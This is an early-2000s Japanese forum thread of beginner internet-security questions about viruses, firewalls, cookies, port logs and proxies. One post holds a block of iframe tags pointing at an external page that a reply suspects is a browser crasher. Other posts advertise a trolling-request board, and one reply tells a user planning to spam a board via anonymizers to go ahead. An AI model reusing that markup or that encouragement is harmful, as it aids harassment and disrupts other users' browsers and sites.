初心者用質問スレッド

ウィルスメールが来た等の初歩的な質問をしたいが、
初級ネット板は荒んでて怖いという人のためのスレッドです。

こわいのでやっぱりやめとく

>1
?そんなに荒んでるかな。。
「ウイルスメール来た」質問に、添付ファイルzip掛けて取っておけとか、
PGP掛けとけとか俺は親切に教えてあげてるよ。。。。
記念になるし（ｗ

突然マウスの矢印が変な形になってまわり始めて変なホルダーがＭＹドキュメントにできました。これって、何？

>>4
変なメールの添付ファイルをクリックした覚えはある？
あるなら、ウィルスの可能性が高いので、
ここに報告しよう。
http://www.ipa.go.jp/security/outline/todokede-j.html

クッキー食べたら消すようにしてるんだけど
他に消すべきところありますか？

てんぽらりいんたねとふぁいるず。

>>5
メールには気をつけているから、１００％とはいえないけど、メールからのビールスではないような。
ネットをやっているときに、突然、くるくるが始まりました。
メールを読んだときではありません。
なんだか気持ち悪いですが、なんだったんでしょうか？

あげときます

ウイルス侵入防止ソフトは何がいいでしょう？

>10
日常的に、ウイルスのアーカイブをダウンロードするようでなければ、
どれでも大差無いんじゃない？？サーチするスピードぐらいかな。
古くてマイナーな奴まで検出する機能は、、、コレクター向け（ｗ
日本語環境だと動作しない奴も有るし。
それよりも、何かと不明なメールの添付ファイルはどんなに興味引く
タイトルでも絶対開かないこと。
パターンファイルの更新は、最低でも週に1度はしといた方が良いよ。
前に、パターンファイル更新したとたんに引っかかった奴有ったから。
更新したら、面倒でも再起動してスキャンするの忘れずに。
リムーバブルメディアをドライブに入れるときもちゃんとリアルタイム
なりで検索。特にブートレコード絡む奴は、読み込んだ瞬間に感染する
から。症状表に出ないのは特に厄介。
この辺意識して無いと、どんなに優秀なアンチウイルス入れてても無駄。
ソフト入れてるだけじゃダメ。ちゃんと使いこなして。
初心者質問スレだから、動作の安定性とかまでは言わない。。。
(色々使ってみてるわけじゃないし（ｗ
avpが、新種への対応一番早いとすれば、アンチドート？

Exchange Server5.5で、セキュリティのためSMTP認証機能を使いたいのですが、
どこをどう設定すればできるのか分かりません。
ExchangeMLの過去ログも見ましたが、何度か質問はでているようですが
結局すべてうやむやになってしまってます。
というかこれはそもそも可能なのでしょうか？

買っちゃったの？
かわいそうに（ｗ
ノーコメント

かわいそうに…ということはやっぱりできないんですか。
いえ、別に私が買ったわけじゃないんですが、
しがらみ上今のところこれを使うしかなかったので…

最近、某板で晒されました（涙）。
クッキーが残っていたのだと思います。
そこで、クッキーについて質問なんですが。
クッキーには「コンピューターに保存されているクッキーの使用許可」と、
「セッションごとのクッキーの使用許可」と二種類ありますよね。（IE5.5）
これの違いについて教えてください。それと、クッキーの「削除の方法」を
教えてください。

bindって8.2.4にしなきゃだめ？

>>15
めんどくさいからやだ！

ファイアウォールを二重にすることってできるんでしょうか？
例：ＶＢ２００１のパーソナルファイアウォール・Ｚｏｎｅ Ａｌａｒｍとか？

おーいおまえら、WinDumpってどうよ？
詳しく教えたり教えなかったりしろ！

>>18

VB2001って腐ってるよ
他のアプリから送れないって終わってるぞ。

>>18
善意の一言
ＶＢはヤメレ

>>19
懐かしいねぇ、まだあるの？
用途がわかんないと、オススメはわかんないよ バイナリエディタは。

ぬ、ＶＢはダメなんですか？でも二種類のソフトでファイアウォールを二重に…ってのはできるんでしょうか？

>>22
BlackICEとZoneAlarmを併用してる人は多いよ。

>>21
違ーう、バイナリエディタじゃなーい。
パケットモニタリングソフトの方。

（でももしかしたらネタなのだろうか…
　素直に教えて下さいって書けばよかった…）

>24
でも、同じ様なもんじゃない？
winpcapの違いだけじゃん。

>24
でも、同じ様なもんじゃない？
winpcapの違いだけじゃん。

欝だ。。。だからノートは嫌だ。
スマソ。

>>23
即レスありがとうございます。じゃあ一応二重にはできるんですね？…ちなみに自分はすでにＶＢ２００１インスト済みだったりします…鬱だ。

PWdumpもいらーん！

悪かったよ、おれが全面的に悪かった。
変な聞き方したおれが悪かった。
もう実際使って確かめるよ！チキショー！

>>18
VBはクソだがパーソナルファイアウォールはお手軽で使える。
なんせ情報収集せんでもかってにアップデートしてくれるのがイイ。

スキャンエンジンはきわめて使いにくい

>>30
ＶＢのパーソナルファイアウォールは、殆ど定義なかったと思うが。
ＮＯＲＴＯＮと間違えてないか？

ぞぬって最新版出ましたよね？
まだフリーウェアですか？

はじめましてです。
あの〜･･･私のセキュリティどうでしょうか？
どなたかサクッと判断していただければ･･･

>>33
一週間以内に不吉なことが起こります。
そりゃ、初心者が２ｃｈから無事に帰れるわけが、、、

socksサーバってみなさんどうやって探してます？

socksサーバーが必要な人はハックラ板に
行ったほうが良いのではないだろうか

なんか「未使用ポートブロック機能が通信をブロックしました」というのが
大量に出ています。これはどういうことなんでしょうか。
「インバウンドIP断片」がどうの、というのはたまに見ていたんですが。
試用中なんですが、どうもよく意味が分からなくて…

リモートアドレスからプロイバイダとか調べられるサイトってどこでしたっけ？
教えて下さいませ

あ〜あ...

あ〜あ？

めたりっく通信と名古屋工業大学からだった…

すいません、質問です。
ZoneAlarmやsygate使ってるとプログラムの使用許可の確認が出ますよね？
その時IEを使ってるのにwindows explorerの使用確認が出てしまうんですけど
異常ないんでしょうか？

無いです

>>43
どうも有難うございました。

>>38
これか？
http://www.mse.co.jp/ip_domain/index.shtml

http://www.bbspink.com/test/read.cgi?bbs=erog&key=984579288&ls=50
でウイルス問題のゲーム会社。
http://www.saibunkan.co.jp/lilim/index.html 　公式ＨＰ。
勇者は真相を聞いてみてください。

あげますです

>>47
Uzeeeeee!!!!!氏ね!!!!!!!!

>>38
ありがとうございます

2ちゃんねるにも打ち込める
最新DUKE

http://www3.ocn.ne.jp/~kgy999/d.html

imacですが、adsl常時接続をしいた翌日
HDが変なタイトルにかわっていくつかの
ファイルがおかしくなってました。これって
侵入ですか？
どうやればとりあえずいいのでしょうか？
どきゅそでもわかるようにおねがいします。

>>50
ブラクラか？　きかなかったけどね。
<iframe src="http://www3.ocn.ne.jp/~kgy999/1.html"width="200"height="300"></iframe>
<iframe src="http://www3.ocn.ne.jp/~kgy999/2.html"width="200"height="300"></iframe>
<iframe src="http://www3.ocn.ne.jp/~kgy999/3.html"width="200"height="300"></iframe>
<iframe src="http://www3.ocn.ne.jp/~kgy999/4.html"width="200"height="300"></iframe>
<iframe src="http://www3.ocn.ne.jp/~kgy999/5.html"width="200"height="300"></iframe>
<iframe src="http://www3.ocn.ne.jp/~kgy999/6.html"width="200"height="300"></iframe>
<iframe src="http://www3.ocn.ne.jp/~kgy999/7.html"width="200"height="300"></iframe>
<iframe src="http://www3.ocn.ne.jp/~kgy999/8.html"width="200"height="300"></iframe>
<iframe src="http://www3.ocn.ne.jp/~kgy999/9.html"width="200"height="300"></iframe>
<iframe src="http://www3.ocn.ne.jp/~kgy999/10.html"width="200"height="300"></iframe>

>>51
まず、ウィルス対策ソフト買え。
持ってないんだろ？
http://www.symantec.com/region/jp/products/nav2001/index.html
http://www.trendmicro.co.jp/product/vb2001/product.htm
あとはその説明書をよく読んで実行する。
それで直らなかったら、パーソナルファイアーウォールスレに、
聞きに逝け。
まあ、Macでウィルスってあんまり聞かないけどねえ。

ありがとうございます。
ところでOSはもう一回インストール
しなおした方がいいのでしょうか？
まだほとんどの機能は動いてますが。

ADSL移行に伴い、ファイアーウォールソフトを入れたんですが、
アクセス履歴の中にコリアンからアクセスがあったことが分かり、
かなりびっくりしています。
どういった経由で自分のところに来たのかかなり疑問でして…
こういうアクセスは、適当にアクセスしてきているんでしょうか？
それともどこかに落ちていた足跡をたどってきているんでしょうか？
ttp://search.mse.co.jp/cgi-bin/ip_dom-1/ipsrch_jump.cgi?host=203.232.140.156

おいらも、ノートンのファイアーソフト入れました。

外からアクセスされて足りブロックしている
記録が見たいけど、ないみたいで少し残念です。
ＣＡＴＶのプロキシ使ってるからかな？

どうやったら、韓国や中国のアタックを見られますか？

誤　外からアクセスされて足りブロックしている
正　外からアクセスされたり、ブロックしている

>>55
手当たり次第だよ

当方Macの Norton Personal Firewallですが、
メニューバーのウィンドウにアクセス履歴があります。

最近事情があってクライアントにLinuxをしようしてます。(TurboLinux6.0WS)
余計なサービスは一応全部止めたつもりなんですが、
Xの起動後にnetstatで確認すると、tcpの42768,42770-42780ぐらいのポートが全開です。
調べてみるとsometime-rpcとか出てきたんですが、心当たりがありません。
これらのポートを使うバックドアとかって有るんでしょうか?
それともこれは普通の事なんでしょうか？

r

test

test

suimasenu test

telnetを立ち上げて「接続」「リモートシステム」と出したら
こんなのが出てきちゃいまして
***************************************
ホスト名 　：takeshita.virtualave.net
ポート　　　　　　　：telnet
ターミナルの種類：vt100
***************************************
普段telnetなんて使わないから　なんかやられたかな？
と思って検索したら
http://www.google.com/search?q=takeshita.virtualave.net&btnG=Google+%8C%9F%8D%F5&hl=ja&lr=
こんなのが出てきちゃったんですよ
俺のパソコン　何かやられたんだろうか？
誰かわかる人居たら教えてください

　　　

ネタじゃないんだよ　本当なのよ

ネタと思われるような　第三者から見て
面白い事をされたって事なのかなぁ？俺（泣）

ローカルPloxy立ててシングルポートで監視すれば設定が楽になっていいな
と思ったのですがこれは有効でしょうか？

現在ISDNでTA使用しています。
ファイアウオールは何もいれてません。
どこが一番弱いんでしょうか？
（侵入されやすい？）

ちなみにMacOSです。
ネットに接続しない時はTAへのUSB接続もいちいちはずしてます。

ワールドサッカーのホームページを開設しました
ワールドカップに出てこないようなマイナーな国のサッカー情報を
掲載しています。
遊びに来てください

http://www.simcommunity.com/sc/vakatono/vakatono_master

串としても、その串経由を受け付けないようにするんだから、
いいんじゃない？

ここに書かれている串ってなんですか？

ケーブルテレビでインターネットをしており
ファイアウオールはノートンのインターネットセキュリティーを使用しております。
とことがPCゲームの方と相性が悪いらしく
常駐させておくとゲーム中よくフリーズします。
ですからゲームの前にファイアウォールの常駐を解くのですが
やっぱりゲーム中も侵入を受けるのでしょうか。
今はとりあえず怖いのでモデムからケーブルも抜いています。
このてのソフトはやっぱりインターネットするときだけに
常駐ということなんでしょうか？
どなたか教えてください。

ｔｅｌｎｅｔへの接続の仕方はどうやればいいんですか？

ウイルスバスター２００１を使っているのですが
ログを見ると進入活動の欄に「出力」とあるログが
毎日毎日大量に残っています。
ヘルプにもホームページにも記述はないので
こちらでお聞きしたいのですが、心配いらないのでしょうか。

これだけ質問を放置されてもまだかくのは、
スレ立てたやつが悪いに一票！
私もボランティアで答えてもいいかなと思う質問はない。

>>77
意味不明。お前みたいな厨房のせいでまともな住人が去っていったんだよ！

>>76
俺の場合は「入力」って書いてあるログが大量に残るね。
俺も詳しく解らんから詳細きぼーん。

ウイルスバスターは何かと不明なとこが多かったから、
黒氷に変えました。
私もあの入力、出力の意味わかりません。

自分の無料HPスペースに無修正エロ画像を上げたらどうなりますか。
HPは公開しないで、上げた画像をケータイで落として、
壁紙にしたいんですけど。

>>75
はい。読んでね。
http://www.sakura.ad.jp/new/manual/web/telnet.html

そんなソフトいっぱい集めてもあなたを攻撃してくる人なんていませんよ
何かの勘違いです

教えて下さい・・・・・変な奴からメール来てしつこくてウザかったから
携帯のアド変えた奴がいるんだ。そしたら、そのへんなやつ新しいアドをパソで調
べたとか言っててアド変えてもメール来るんだって！そういうアドとかって調べ
れるの？んで調べた奴がだれかわからないの？おれの友達がされてて困ってるん
だ！なんか知ってることあったら教えて下さい。

PCが省電力モードになってる時に外からアタックが来たらどうなるんでしょうか？
F/Wソフトはぞねを入れてます。

5月半ばあたりから毎日同じところからスキャン(?)されているみたいなんです。
BackICEで検知しているのですが平均30〜60回くらいです。
HTTP・Proxy・FTP Portそれぞれにです。
当方CATVで接続しているのでIPは滅多にかわらないようで
連日しつこくて困っています。
budapest.colliers.hu というところからなんですが、ここって何の会社でしょう？

ここのＩＰ抜き串さしても抜かれるんですけどなんでですか？
http://www.kinchan.net/

http://mentai.2ch.net/test/read.cgi?bbs=hack&key=986676361

この板の方々に御教授いただきたいです。

下記は私が遊びに逝く板にあったあらしのカキコです。
>俺も、6箇所の鯖にここへの送信のIP抜くプログラムしかけてあるよ。もちろん串対応の。
>そろそろ時期かな？
１．引用は２ちゃんねるへの送信をトラップでＩＰアドレスを抜くと言っています。技術的に可能でしょうか？
２．言ってる事間違ってたら申し訳ありませんが、ＤＮＳサーバーにプログラムを忍び込ませてデーターを
蓄積させて回収するのでしょうか？
３．もし２だったら犯罪でしょうか？

教えてクンで申し訳ありませんが。

>89
＞２．(略）
・・・そこを通る２ちゃん各サーバー宛てのパケット全部スニッフするって事？（ｗ
「抜く」ということはIPアドレスとpostされた内容関連付けてないと意味無いと思われ。

＞送信のIP抜くプログラムしかけてあるよ。もちろん串対応
・・・俺、スキル無いから意味不明（ｗ

89　>>90
２ちゃんねるには書き込み時間が記録されますね。ＤＮＳに仕掛けたプログラム
にも時間記録させれば、照合は取れるかも。

初歩的な質問で申し訳ないのですが、ウィルスについて
教えてください。
私の認識だと、メールでのウィルス感染は添付ファイルに
よって感染して、これを開かないと感染しないと思っていたのですが、
下記のサイトにある「メールを開くな」という文章を見て、ハテ？と
思いました。大手プロバイダの書いていることですから、
私の認識が間違っているのでしょうか？御教唆ください。

http://www.dti.ad.jp/attention/virus.html

最近になって起こり出した現象なんですが
インターネットに繋げた時にまず最初にヘンなアドレスがでてから
自分が設定したホームページに繋がってしまいます。
インターネットオプションでたとえばヤフーをホームに設定しても
必ず一瞬別のアドレスが移ってから繋がってしまいます。
分かりにくい説明になってしまいもうしわけありません。
誰か詳しいことが分かる人教えてください。ちょっと気味がわるいです。
ちなみに一瞬繋がるアドレスはhttp://www.tbrpr.com/tb/?id・・・・・
っていうページでいつも同じです。
よろしくお願いします。

>>92

ウィルスは添付ファイルを開くと感染する事が多いけど、中にはメールを開いただけで感染するものもあるらしい。
ただ感染力は強くなく、出まわってる数も少ないらしいよ。

>92
htmlメールだと、VBS組み込んであってWSHが絡むと。。。↓添付は関係無いけど読んでみ。
http://vbc.trendmicro.co.jp/vbc/vinfo/vdb/vbcdefault3.asp?VName=VBS%5FBUBBLEBOY

他にも色々要素有るし、その辺組み込んで不正コード組むことは意外と簡単。ソースやツール出回ってるし
メール開いただけでバックドアインストールとか。
winのOEは特に危険（ｗ

>>94>>95
ありがとうございました。やっぱりそういうのもあるんですか。
私もOEを使っているんですが、気をつけます。

ところでBubbleBoyはMeだと大丈夫なんでしょうかね。
Me用の修正プログラムが出ていないようなので・・。

IE 5.5 を使用しています。Proxy 検出のために『自動設定のスクリプトを
使用する』に http://www.mars.dti.ne.jp/~proxy.pac を設定すると、
2ちゃんや他のサイトが『イントラネット』扱いになっているようです
(設定をはずすと『インターネット』に戻る)。これって IE のバグですか?
それともプロバイダのスクリプトが悪いの？

すまん http://www.mars.dti.ne.jp/proxy.pac やった。

BlackIceについて教えてください。
今タスクトレイに入っているんですが、赤いスラッシュが入りで
表示されているんです。これは一体どういう事でしょうか？
体験版を使用しているんですが、終了期限まではまだ１０日ほど
あるんです。これも関係しているのかな？

ブロックしてないって表示だろうよ

＞１００
ありがとうございます。そいう事だったんですか・・・。

ブロックをしてくれるようにするにはどうしたらいいでしょうか？
すいません、私全くの無知ぶりを発揮してます・・。（泣

>>101
この辺で聞いてみれ
ttp://www.egroups.co.jp/group/bidgeneralj/

>>101
決してLicense.keyの中身を怪しいところから入手してはイケマセン（まる

ＩＩＳってなんですか？

ＩＩＳってなんですか？

携帯からしか見れないサイトを
どうしたらPCから見れますか？

>>106
板違い

www.geocities.com/Area51/Crater/3213/
で落としたzipファイルをeoで解凍してみところ
ウイルスバスター2001体験版が反応し
TROJ_ORIFICE.DRというウイルスが検出されましたが
駆除できず隔離されました。
http://vbc.trendmicro.co.jp/vbc/vinfo/vdb/vbcdefault3.asp?VName=TROJ%5FORIFICE%2EDR
で調べたところレジストリエディタを起動させていけば
いいと分かりましたが起動方法がわかりません。
あと、隔離されたということは安全と考えていいのでしょうか？
何とぞご教授お願いします。

>>108
自分にはレジストリエディタの起動ぐらいしかわからないのねん。
http://pockets.otto.to/icq/wakaran/db/db056.html

メールボムってなんですか？

>>110
ひとつのメアドが受け取れるメールの量には上限がある。
50MB位が標準かな。
それ以上の量のメールを一度に送られると、そのメアドは
一時的に使用不能になる。
もちろん、ゴミメールをえんえんと受け取り続ける羽目になる
ので、メアド主は激しく鬱。

とりあえず、感染はしていなかったようです。
ありがとうございました。

>>108
実行してみたけど何にも起きなかった。

htmlファイル開いたと同時にウィルス感染ってあるんですか？

http://natto.2ch.net/test/read.cgi?bbs=pcqa&key=988532384&st=17&to=17&nofirst=true

>>114
いぜんヤフーのニュースにもなったが、最近は噂を聞かないねえ。

>>114
ttp://www.kriptopolis.com/cua/eml.html

ID:???にしたいのですが、どうやればよろしでしょうか？

>>118
メール覧に半角で0

レスありがとうございました
って事はＯＥとかでＨＴＭＬメール送られてきたら
それ開くだけで感染って事ですね？

だったらどうしましょ？

>120=114
117の奴に関してはパッチ当てる。audio/x-wavに気をつける（意味不明（ｗ
パッチ当てるのはIE/OEユーザーにとって重要。
でも、日本語版は何で「準備中」多いのかな。。。
後、ジャバもオフにしといたほうが良いのね。

doubleclickの内容は変更できないの？

誰か教えてください。
日本人が運営している無料の洋物アダルトサイトを見ていたんだけど
英語でクレジットカードに関するメールが来た。何が書いてあるか分からないが
請求書ではない様子だけどなんか怖い。
実際どこにもメアドを書いて無いし変なところをクリックした覚えも無い
かなり用心して見たりしてるんだけど、
こういうのって何？どうしてメールアドレスが分かったんだろう
ＩＰだけとかでメールアドレスとかってばれるものなの？
誰か教えてください。

http://www.excite.co.jp/world/
>>123
とりあえず、内容を訳してみたら？

IPを晒して騙りを消したいのですが、IPを晒してなにか被害はあるのでしょうか？
あるのなら、対策も教えて欲しいのですが。

>>125
君が違法なことをしてないならＩＰ晒してもいいが、
ドキュソが攻撃してくる可能性があるので、
晒したらスグに接続しなおしてＩＰ変えてください。

違法なことをしているなら、ＩＰ晒して捕まってください。

0j0o0p0m1z1l1k0x0w0v1Z0f0d0j0k0u0p110b0r230n0y0n1q0t0p1j1u0s0q08090F0N0F0H0H0C02040D12040606070T050P07

これのアヒル変換って何ですか？
アヒル変換ってなんなんでしょうか？

>127
どこで”アヒル変換”という言葉を知ったか、
また、その文字列はどこにあったものか、教えて下さい。

>>128
音楽板のスレでアヒル変換がわかる人だけ
ってことで、そこに誰かの曲がおいてあるみたいです。
パスも書いてありました。

つまり、この長い文字列はURLですか。
特徴は間に数字とアルファベットが交互に出てくる。
前半は小文字が多くて、後半は大文字。
URLだから、最初はhttp://になる可能性がある。

”アヒル”ってのは、2chに古くからいるコテハンかな。

>>127
ぐーぐるで検索すればわかると思うよ。

>>125
IPを晒したいなら、ファイアーウォールソフトでもまず入れて下さい。

ZoneAlarmを入れてるんですが、しょっちゅう
Port6699にアクセスがあります。
これはいったい何？

>>133
ワレザーは逝ってヨシ！

いや、割れざではないですが...。
やっぱりあれですか、ﾅﾌﾟｽﾀとかの関係なんですかね？
使ったことないからわからんのですよ。

>>135
使ったことなくて来るか！
氏ね氏ね氏ね氏ね氏ね氏ね氏ね氏ね氏ね氏ね氏ね！

IPから相手のﾄﾞﾒｲﾝ名を調べられるサイトってありましたよね？
どこでした？？？？（＾‐＾；

>>137
ここ
ttp://www.muvc.net/urajigen/syashin.html

いや、マジ知らないんだって。
氏ね氏ね言われても困ってしまうよ。
使ったことないと来ないのか？
では試しに一度使ってみるかな・・。

>>137
ここですか？
http://www.mse.co.jp/ip_domain/

http://green.jbbs.net/sports/1464/keitabbs.html
どうやったらここを荒らしてくれますか？

>>141
どうやっても荒らしません。
以上。

セキュリティに関してこんなことを書いてあるサイトがあったのですが、
この設定にどんな意味があるんでしょうか？
不必要なネットワークコンポーネントがアクティブになってると、
どんなデメリットがあるのでしょうか？

　　　　　　　　　　　↓

コントロールパネルから「ネットワーク」を選んで下さい。
そして、「TCP/IP -> ダイヤルアップアダプタ」を選び、「プロパティ」をクリックします。
何かメッセージが出てくるかもしれませんが、無視して進んで下さい。
そして「バインド」タブを選びます。
このとき、いくつかのコンポーネントが表示されているかと思いますが、
選択されていないでしょうか。
もしも選択されているものがあった場合は、全て解除して下さい。
9X 系では、再起動を求められると思います。
これにより、不必要なネットワークコンポーネントを、
ダイヤルアップ接続の状態でアクティブにしないことが出来ます。

http://www.geocities.co.jp/HiTeens-Penguin/2496/
これどうよ？

>>144
そういうのはWEb製作板でやれ。

無料サーバの規約違反サイト
http://natto.2ch.net/test/read.cgi?bbs=hp&key=991499158&ls=50

>>143

重くなる。
間違って共有しちゃったりする。

>>146
有り難うございます。
ところで、上記の設定をしたら、ダイヤルアップ接続時に
ユーザーＩＤの確認が30秒程長くかかるようになってしまいました。
バインドを切ったのは、Maicrosoft familiesともう１個（名前忘れました）です。
何故でしょうか？

知らんよ。

>>147
DHCPにしちゃったとか？

頭は切らないでくれ

>>147
余計な認証の設定してないか？
ＷｉｎにＬＯＧＯＮするとか。

>>151

ダイヤルアップネットワーク＞プロパティ＞サーバの種類＞詳細オプション＞ネットワークへのログオン

で、チェックボックスがＯＮになってました。
ＯＦＦにしたら、すぐに接続するようになりました。
何故ＯＮになってたのかは分かりません。
訳が分からすヘルプをクリックしまくってたので、そのとき間違って
チェックボックスがＯＮになってしまったのかも・・・。
使用できるネットッワークプロトコルも全てＯＮになってたので、
ＴＣＰ／ＩＰだけＯＮにしときました。

有り難うございました。

>>152
そういうデフォルトがよくあるな。
ＳＰＸ／ＩＰＸが入ったり、あんなもん、Ｎｅｔｗａｒｅから移行する奴なんてまだいるのか？

厨房ホイホイ1号は何処で手に入りますか？

>>154
最悪板いってみれ

ここに書くのが適切なのか解りませんが、
他に適当なスレがなかったので質問です。
JavaSの切り方ってどうすればいいんでしょう？
右クリック禁止のページがあるんですが。

ブラウザ板で聞きましょう

ありがとうございます>>157

ブラウザ板？

ま

>>156
その前に仁義を切りましょう。

ネットセキュリティ、というのとはちょっと違うかも知れませんが、
教えてもらえないでしょうか。

部屋によく来る友達に、どうもメールを勝手に見られてるふしがあるんですが、
そういう事実があったかどうかを確認する手段ってないでしょうか。
例えば何か特別な手続きを踏んむことなしにメーラーを起動した場合、
後で調べれば分かってしまうようなソフトがあるといいなと思うのですが。
けっこう切実なので、教えてもらえると嬉しいです。

>>162
セキュリティ×利便性＝技術力×運用力
である。この式は最初に
セキュリティ×利便性＝定数
があったてその後に導入されたもののようだ

つまらん

>>162
PCの動作を監視するソフト入れとけ

http://www.zdnet.co.jp/download/pc/tools/security.html
シェアばっかだけど、まあ何とかしろ

>>162
そろそろNT系にすれば・・・・・・。

>>165
　こんなのがあるんですね。ありがとうございます。
　お金は少々出してもかまわないので、この中からいろいろ検討してみます。

>>162
　すみません。ＮＴ系、という意味がそもそも分からない厨房です。
　もしよかったら、どんなものでどういいのか教えてもらえないですか？

http://www.microsoft.com/japan/windows2000/default.asp

荒らし依頼、自慢掲示板
Duke

(かぐや総本部)
http://hp.bank-sakura.com/kgy999/

>>162
「BearGuard」でガードしとけ。フリーソフトだ。
　　　↓
ttp://bearfactory.pro.tok2.com/brguard.html

不正操作の証拠が残るので、いいぞ。
ただし、パスワード忘れると大変なことになるが。
それだけ、ガードが堅い。

>>168
>>170

いろいろ教えていただきありがとうございます。
まともに相手してもらえて嬉しいです。
早速検討してみます。

>>170
ガードがしたいんじゃなくて、証拠掴んでとっ捕まえたいんだろ

あら、違った

ぞぬを入れてたら、なんかアクセスをブロックしました。
そのＩＰをドメインに変換できないのですが、
なんでですか？

今現在ノートンのNISとゾーンアラームを入れてますが、
さらにブラックアイスを入れることって出来ますか？
W２K SP１　+　IE5.01　SP2　ですが。

>>175
複数のファイヤーウォールソフトを入れても無意味です。
つーか、悪影響が出たりもします。
どれかひとつにしましょう。

えええ！！
そうなんですか？？
コンドームみたいなもんですか？

>>177
ソウデース。使うだったら不二ラテクース。

>>174
織れもぞぬを（以下同文）

すいません、教えて頂きたいのですが、
htmlへのアクセスに使用したPCのレジストリに登録してある
PCのユーザ名やメールアドレスをリードすることが出来ると思うのですが
CGIで構築できますでしょうか？

>>180
無理です。続きはハックラ板でどうぞ。

ZONEAlarm使ってるんですけど、先ほど

The firewall has blocked Internet access to your computer (TCP Port 111) from 200.207.41.162 (TCP Port 2550).

Time: 01/06/20 20:56:28

ってメッセージが出てきたんですけど
これって誰かが俺のＰＣ覗こうとしたとかそういうことですか？

15

質問したいです。

ネットでいろんなとこへ書きこんだりしたことで、
書きこんだ本人の個人情報が漏れてしまうということは
あるのでしょうか？たとえば、こういう風に書きこんだことで
だれかに書きこんだ本人（私）の情報が知られるということは。

まあActiveX許可すればガッチリ個人情報抜いてもらえるでしょう

おおー、そんなことができるんですか・・・・・・・・。
どおりで・・・・・・。
しかし、それは個人情報というか、パソコンの情報なんじゃないんですか？
して、その方法は？
無知な仔羊にご教授をば、よろしう。

netstat -a

で、いつもは出ない表示が出たんです。

TUP既定 2726 64.4.53.7:443
TUP既定 2727 64.4.53.7:443

これはなんかやられてるんでしょうか？
又、何かされてる場合、　この表示は日本人が串を使ってればその串の数字になるのでしょうか？（IP)
レスお願いします。

>>187
あ、質問ちゅう、断り無く割り込み失礼しました。

いや、大丈夫です。初質です（＾＾

>>187
言ってる意味がさっぱりですが、ポート443はhttpsです。
つまりセキュリティに守られたWEBページにアクセスした後、
コネクションが完全に切れないうちにnetstatしただけでしょう。

>>186
言うまでも無いことですが、ActiveX使おうがJava使おうが、
パソコンの中に入ってる情報しか抜けません。ただ、使用者名
とかメールアドレスとかはレジストリに書いてあったりしますが。

つーか掲示板に書き込んだぐらいじゃ個人情報なんて
抜かれません。せいぜい環境変数がいくつか見られるぐらいです。

方法は自分で調べて下さい

厨房のような質問で申し訳ありません。
会社の上司がＰＣの中をのぞきます。
ＬＡＮ経由については某フリーソフトでふさぎましたが、
ＰＣ本体に鍵をかける方法を教えて下さい。
可能ならば、パスワード入力画面でＥｓｃを押すと電源
がダウンしてしまうとか・・・
よろしくお願いします。

>>191

>>165のリンクとか>>170を見ろ。つーかそんなソフト
入れるやつは、上司から見れば絶対遊んでるって
思われるけどね。見られてまずいようなものがあるって
ことだし。

＞LAN経由については〜
ぞぬとかでNetBIOSをブロックしたってことか？
どうでもいいけどネットで遊んでたりするところをパケットモニタで
覗かれないようにな。ファイヤーウォールなんて関係無いから。

幾つか串を試してるのですが、不正串規制中ばかり出ます。突破出来る串ございませんでしょうか?

>>193
ハックラ板でお願いします。ほんとに。

ハックラ板って?

>>195

Download板と初級ネット板です。

すみませ〜ん
ここって何ですか？
http://202.229.63.217/sale

>>197
ＮＴＴ−ＭＥのサーバらしいんですが

http://anonymouse-master.org/anonwww.html
http://www.anonymizer.com/
を使って掲示板荒らしたいんですけど大丈夫かな？
あっ過激なことはしませんよ。エロ画像のリンクを貼り付けるだけです。

>>199
どうぞお好きに。

最近なんかの雑誌に乗っていた
PCにアクセスしてきた人がとった行動を記憶できるソフトの
名前を知りたいんだけど知ってる人わかる人いませんか?

>>200
ばれない？

>>202
ばれますけど、大したことにゃならんです。

>>203

どういうこと？

特定されちゃう？

掲示板やメールアドレスから相手のホスト名を知りたい場合は
どうやればいいんでしょうか？
なんか私のホスト名がばれちゃったみたいでその掲示板に
私のホスト名を書き込まれちゃったんです。
私のやっているチャットの人だと思うんですが
誰がそんなことをするのか知っておきたいので教えてください。
特にその人にいやがらせ等はせずにチャットで直接いいますので。
教えてください。お願いしますm(__)m

>>206
こちらはＹａｈｏｏ!メンバーサービスです。 Ｙａｈｏｏ!チャットを
ご利用いただきましてありがとうございます。
Yahoo!チャットでの貴殿の発言・行為について利用規約の「5. ユーザーの責務」
に違反するとの報告を受けております。
猥褻・猥雑なもの、品性を欠くもの、罵詈雑言に類するもの、嫌悪 　感を与えるもの、
民族的・人種的差別につながるもの、倫理的観点などから 　問題のあるものを
サービスを通じて他人に掲載、開示」 することを禁じております。
今後、Yahoo!チャットの参加者から利用規約に違反する発言、行為に関して連絡を いただいた場合、
または Yahoo! JAPAN がそれらの行為を発見した場合には、
Yahoo!ゲームのご利用を制限させていただくこともあります。
利用者のみなさまにとって楽しいルームをご利用いただくことができるよう ご理解の上、
ご協力いただけますようお願いいたします。
利用規約については以下URLに掲載しておりますのでご確認ください。
http://www.yahoo.co.jp/docs/info/terms/index.html

>206さん
掲示板の場合一番基本的な方法は、ページのソースを参照することでしょ。
書き込みの近辺にホストも表示されてる。
フツーの人がどこからか拾って来たフツーのCGIで動かしてるフツーの掲示板とかなら、まずソースで見えるでしょ。

メールアドレスには、それこそ@以下にホストが書かれているじゃない。
そういう意味じゃないの？
相手から受信したメールの「インターネットヘッダー」を参照すれば、特別な送信方法を採っていない限り、ホスト名(通常生IP)が表示されてますよ。

>>203

教えてYO！

>203さん
横レスだけれども。
掲示板荒らしといったって、せいぜいISPから警告を受ける程度でしょ。

但し相手が営利サイトだったら話は別ですけど。
業務妨害(それもおそらく威力業務妨害の方)、名誉毀損etcを根拠に損害賠償請求される可能性はありますよ。
とはいえ余りにも目に余る場合だけど。
あと個人サイトと言えども、管理者(側)が自力で反撃してくる場合だってあるでしょ。
見た目はフツーのサイトでも、管理者はどんなスキル持ってるか分からんよ。

>>210

だからこのツール使うとばれるのかばれないのか？ばれた場合はどこまで
ばれるのかってこと。

おい、いい加減ハックラ板逝けよ
いつまでもくだらねえこと言ってんじゃねえよ

>>212

知らない人はレスしなくていいんだよ。

ハックラばんってあるの？

>>214
やっぱり　板を「バン」て読む人と「イタ」って読む人がいるんだ。
俺は「イタ」かと思ってた

>>215

かんばんって言葉があるじゃない

怒る人が居るからsage進行でいきますよ。

anonymouseもanonymizerいずれも公開Proxyサービスだよね。
でもこれって、例えばISPが用意したProxyサーバを使うのと変わらないでしょ。
絶対ログは取ってるわけで、犯罪に用いられたとしたら管理者はログの提出は免れないでしょ多分。
